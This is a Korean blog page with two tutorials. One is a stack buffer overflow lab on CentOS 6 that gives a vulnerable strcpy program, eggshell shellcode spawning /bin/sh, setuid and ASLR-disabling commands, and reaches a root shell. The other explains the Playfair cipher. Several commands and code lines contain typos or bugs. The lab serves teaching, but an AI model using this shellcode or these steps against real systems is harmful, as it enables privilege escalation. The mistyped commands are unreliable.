버퍼오버플로우는 무엇일까?

버퍼 오버플로우는 메모리 오류를 이용한 공격으로 스택, 힙등 다양한 버퍼오버플로우가 있습니다. 이때 버퍼오버플로우는 버퍼가 넘쳐서 다른 영역을 침범하는 것이라고 생각하면 간단합니다.

이것을 이용하여 해커들은 버퍼오버플로우 공격을 합니다.

리눅스에서 프로그램 실행시 메모리 구조는 아래와 같습니다.

stack(스택) : 스택은 후입선출의 특성을 가진 자료구조로 처음 들어간 데이터가 가장 늦게 나오는 구조를 가졌습니다. (지역변수할당, 함수에 매개변수 전달, 함수호출과 관련된 정보를 담는데에 사용)

heep(힙) : 동적인 메모리로 동적할당 할때 사용되는 메모리 입니다.

data(데이터) : 초기화된 데이터가 위치하는 영역으로 전역변수,정적변수등이 할당 되는 부분입니다.

code(코드) : d어셈블리나 기계어와 같은 명령어들이 위치하는 영역으로 실제 프로그램 실행코드가 담기는 부분입니다.

 

이 글에서는 stack에서의 버퍼 오버플로우를 실습하도록 하겠습니다.

 

스택 버퍼오버플로우 공격의 개념

스택의 구조를 보면 위와 같습니다. 

지역변수로 선언된 buffer[8]과 ebp 바이트, 그위에 return의 주소값이 저장되어 있습니다.

buffer[8]에 글자를 채우는것을 넘어서 ebp에 4byte까지 A라는 문자로 채우게 되면 return 주소값은 문자열의 마지막인 null이 들어가게 되는데, 이부분에 악성코드를 덮어 씌우는 겁니다.

그럼 프로그램이 return될때 원래 가야할 주소로 가지 못하고 공격자가 심어놓은 악성코드가 실행 되며 공격하는 것입니다.

 

스택 버퍼오버플로우 공격 실습

실습 환경은 리눅스 centos 6입니다.

1. bugfile 만들기

#include<stdio.h>

#include<string.h>

int main(int argc, char *argv[])

{

char buffer[8];

strcpy(buffer,argv[1]);

printf("%s\n",&buffer);

return 0;

}

위의 코드를 작성하고 bugfile.c로 저장해 줍시다.

저장후 gcc -o bugfile bugfile.c로 컴파일 하기

컴파일한 버그파일을 확인해 봅시다.

우리는 버그파일에 버퍼를 buffer[8]로 설정하였습니다.

그렇다면 세그먼테이션 오류가 나기 위해서는 buffer의 8+ ebp의 4=12,

12개 이상의 문자가 입력되면 세그먼테이션 오류가 발생해야 합니다.

하지만 실행 결과를 보면 그렇지 않습니다.

왜그럴까요?

gcc 컴파일러에 자체적으로 오버플로우를 방어하는 기능이 있기때문에

gcc 자체 오버플로우 방어 해제가 필요합니다.

gcc -fno-stack-protector -mpreferred-stack-boundarry=2 -z execstack -o bugfile bugfile.c 

위의 명령으로 다시 컴파일을 하여 gcc에 있는 자체 오버플로우 방어를 해제해 줍시다.

이제 a를 12개 입력하였을때 오류가 제대로 발생 합니다.

 

2. eggshell 만들기

eggshell은 기계어로 만든 코드를 메모리에 로드시키고 그시작주소를 알려주는 일종의 툴입니다.

아래의 코드를 eggshell.c로 작성하여 컴파일 하도록 합시다.

gcc -o egg eggshell.c

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_EGG_SIZE 2048

#define NOP 0x90

char shellcode[] =

    "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"

    "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"

    "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"

    "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

    "\x00\xc9\xc3\x90/bin/sh";

unsigned long get_esp(void) {

    __asm__("movl %esp,%eax");

}

 

void main(int argc, char *argv[]) {

    char *buff, *ptr, *egg;

    long *addr_ptr, addr;

    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

    int i, eggsize=DEFAULT_EGG_SIZE;

    if(argc > 1) bsize = atoi(argv[1]);

    if(argc > 2) offset = atoi(argv[2]);

    if(argc > 3) eggsize = atoi(argv[3]);

    if(!(buff = malloc(bsize))) {

    printf("Can't allocate memory.\n");

    exit(0);

    }

    if(!(egg = malloc(eggsize))) {

        printf("Can't allocate memory.\n");

        exit(0);

    }

addr = get_esp() - offset;

    printf("Using address: 0x%x\n", addr);

    ptr = buff;

    addr_ptr = (long *) ptr;

    for(i = 0; i < bsize; i+=4)

        *(addr_ptr++) = addr;

    ptr = egg;

    for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)

        *(ptr++) = NOP;

    for(i = 0; i < strlen(shellcode); i++)

        *(ptr++) = shellcode[i];

    buff[bsize - 1] = '\0';

    egg[eggsize - 1] = '\0';

    memcpy(egg,"EGG=",4);

    putenv(egg);

    memcpy(buff,"RET=",4);

    putenv(buff);

    system("/bin/bash");

}

컴파일 후 일반사용자에서 이 프로그램을 실행할때에는 관리자 권한으로 실행 하도록 설정을 바꿔 주어야 합니다.

chmod 4775 eggshell 명령을 입력하여 권한을 재설정 해줍니다.

이제 공격을 할 준비가 끝났습니다.

3. 일반 사용자로 접속후 공격

관리자아이디 말고 다른 일반 아이디로 접속하여 실제로 공격해 봅시다.

./eggshell

./bugfile `perl -e 'print "a"x12, "egg에서 받은 주소 리틀엔디안으로"'`

위의 명령을 차례대로 입력해 봅시다.

공격에 성공하지 못했습니다!!! 왜이럴 까요?

리눅스에는 기본적으로 이러한 공격을 방어하기 위해서 ASLR이 설정되어 있습니다.

ASLR : 메모리 공격을 어렵게 하기위하여 주소를 랜덤으로 프로세스 주소 공간에 배치하여 실행할때마다 주소가 바뀌는 기법

ASLR을 해제해보도록 합시다.

해제 : sysctl -w kernel.randmoize_va_space=0

 

실행 : sysctl -w kernel.randmoize_va_space=1

해제 명령어를 실행 시켜 주시고 실습 후에는 꼭 다시 실행 시켜주세요.

이렇게 설정한뒤 다시 공격명령을 해봅시다.

./eggshell

./bugfile `perl -e 'print "a"x12, "egg에서 받은 주소 리틀엔디안으로"'

위처럼 공격에 성공하여 root계정 쉘로 접속한것을 확인하실수 있습니다.!

이상 스택 버퍼오버플로우 공격에 대해 알아보고 실습해보았습니다.

 

 

ps) 그런데 이렇게 해도 공격이 실패하는 경우가 있습니다.

이럴때에는 아래의 코드를 getenv.c(환경변수에 저장된 주소값 가져오기)로 작성하고 컴파일 한뒤 eggshell 실행후 ./getenv EGG 명령을 입력하여 나온 주소로 오버플로우 공격을 해보시기 바랍니다.

#include<stdio.h>

int main(int argc, char *argv[])

{

        if(argv<2)

        {

                printf("Usage : %s ENV_NAME \n",argv[0]);

                exit(1);

        }

        printf("%s Address : 0x%x\n",argv[1],getenv(argv[1]));

        return 0;

}

 

 

 

플레이페어 암호화를 C언어로 직접 구현해 보았습니다.

리눅스 centos 6 에서 작성하였습니다. 실행파일과 코드 올려드리겠습니다.

많이 부족하니 참고용으로만 봐주세요.

코드 다운로드 

playfair

Playfair.c

a. 프로그램 시작및 키설정


b. 암호화 및 복호화


c. assassinator가 아닌 다른키로 수행


d. 프로그램 종료



플레이페어 암호 (Playfair cipher)란?

플레이페어 암호화는 영국의 물리학자 휘트스톤과 영국의 수학자 플레이페어가 함께 만든 함호화 방식입니다.

휘트스톤이 죽은다음 발표를 하게되어 이 암호화 방식은 플레이페어란 이름을 붙이게 되었습니다.


그럼 어떤 방식으로 암호화가 되는지 알아보겠습니다.

우선 플레이페어 암호화는 키테이블을 필요로 합니다.

키테이블은 5x5행렬로 구성된 알파벳테이블을 이용합니다.


<키테이블>

키테이블을 만드는 방법을 알아보도록 하겠습니다.

우선 우리는 키값을 받아야 합니다.

키값을 assasinator라고 예를 들어보겠습니다.

1. 키값의 중복된 글자를 제거 : assainator -> asintor

받은 키값을 위와같이 중복된 글자를 제거해주고 나면 asintor를 5x5테이블에 순서대로 넣습니다.

2. 중복제거된 키값 5x5 테이블에 삽입

 A

S

I

N

T

 O

R




 





 





 






삽입을 하고나니 테이블에 빈칸이 많이 보입니다!

그럼 이제 A~Z의 글자중 아직 사용되지 않은 글자를 순서대로 삽입해주는 것입니다.

이때 주의할점이 있습니다.

I/J를 같은 자리에 넣거나 Q/Z를 같은 자리에 넣어 주어야 합니다.

3. 나머지 알파벳 차례대로 테이블에 삽입

 A

S

I

N

T

 O

R

B

C

D

 E

F

G

H

J

 K

L

M

P

Q/Z

 U

V

W

X

Y


이제 키테이블이 완성되었습니다.

우리는 이것을 사용하여 문장을 암호화 할수 있습니다.


<암호화 규칙>

예시 문장을 이용해 설명하도록 하겠습니다.

예시문장 : BE CAREFUL FOR ASSASINATOR (암살자를 조심해!)

1. 문장을 2글자씩 쪼개기(한쌍의 문자가 같거나 마지막에 하나남은 문자에 X추가)

BE

CA 

RE 

FU 

LF 

OR 

AS 

SA 

SX 

SI 

NA 

TO 

RX 

 

 

 

 

 

 

 

 

 

 

 

 

 

문장을 2글자씩 나눴네요. 그런데 이상한 점이 보이시나요?

x란 글자가 추가된 부분을 볼수 있을 겁니다.

우리는 글자를 나눌때 SS와 같이 한쌍의 문자가 같거나 마지막에 하나남은 문자가 생겼을 경우 X를 추가하여 문자 쌍을 만들어야 합니다.

이 규칙을 잊으시면 안돼요!

규칙1. 암호화 하려는 두 문자가 서로다른 행과 다른 열에 존재할 경우

 A

S

I

N

T

 O

R

B

C

D

 E

F

G

H

J

 K

L

M

P

Q/Z

 U

V

W

X

Y

첫 2글자 BE를 예로 들어 보겠습니다.

B의 열을 기준으로 E와 같은 행이 되도록 해봅시다. B가 (1,2) E가(2,0)이니 두 글자가 만나는 위치로 가보면 G (2,2)가 되겠죠

E의 열을 기준으로 G와 같은 행이 되도록 해봅시다. G가 (2,0) B가(1,2)이니 두 글자가 만나는 위치로 가보면 O (0,1)이 되겠네요.

이처럼 서로의 글자가 만나는 위치에 글자로 치환을 해주는 겁니다.

BE->GO

규칙2. 두 문자가 같은 열에 있는 경우

 A

S

I

N

T

 O

R

B

C

D

 E

F

G

H

J

 K

L

M

P

Q/Z

 U

V

W

X

Y

LF로 예를 들어 보겠습니다.

같은 열에 있는경우는 1번규칙보다 훨씬 간단합니다.

그냥 한칸씩 밑으로 내려가면 되는 것이죠. 이때 주의해야할점이 있습니다. 한칸을 내려갔는데 아무것도 없다면 제일 위로 가야합니다.

LF->VL

규칙3. 두 문자가 같은 행에 있는 경우

 A

S

I

N

T

 O

R

B

C

D

 E

F

G

H

J

 K

L

M

P

Q/Z

 U

V

W

X

Y

OR을 예로 들어 보겠습니다.

같은 행에 있는경우는 한칸씩 오른쪽으로 이동합니다. 이때 규칙2와 마찬가지로 다음칸이 없다면 제일 왼쪽으로 가야합니다.

OR->RB

3가지 규칙을 다 확인해 보았습니다.

그럼이제 문장을 암호화 해보도록 하겠습니다.

BE

CA 

RE 

FU 

LF 

OR 

AS 

SA 

SX 

SI 

NA 

TO 

RX 

GO

NO 

FO

VE 

VL 

RB 

SI 

IS 

VN 

IN 

TS 

DA 

VC 

위와 같이 암호화에 성공했습니다.

GONOFOVEVLRBSIISNVINTSDAVC 이문장을 이해할수 있을까요?? 키테이블이 없다면 불가능할것입니다.


<복호화 규칙>

복호화 규칙은 암호화 규칙을 이해하셨다면 매우 간단합니다.

1. 우선 문장을 2글자씩 쪼갠다.(중복, 마지막글자 홀수일경우 X추가)

2. 규칙1은 달라지는 점이 없다.

3. 규칙2,3은 움직인 방향의 반대로 움직인다. (열은 위로, 행은 왼쪽으로)

이규칙을 지키며 다시 복호화 하면

BECAREFULFORASSASXSINATORX가 나오게 됩니다.

그럼 우리는 이문장에 X를 제거하고 BE CAREFUL FOR ASSASINATOR로 읽을 수 있게 되는 것이죠.

다음에는 C언어를 이용해 플레이페어 암호화를 구현해 보도록 하겠습니다.

링크 : C언어로 플레이페어 암호화 구현하기



+ Recent posts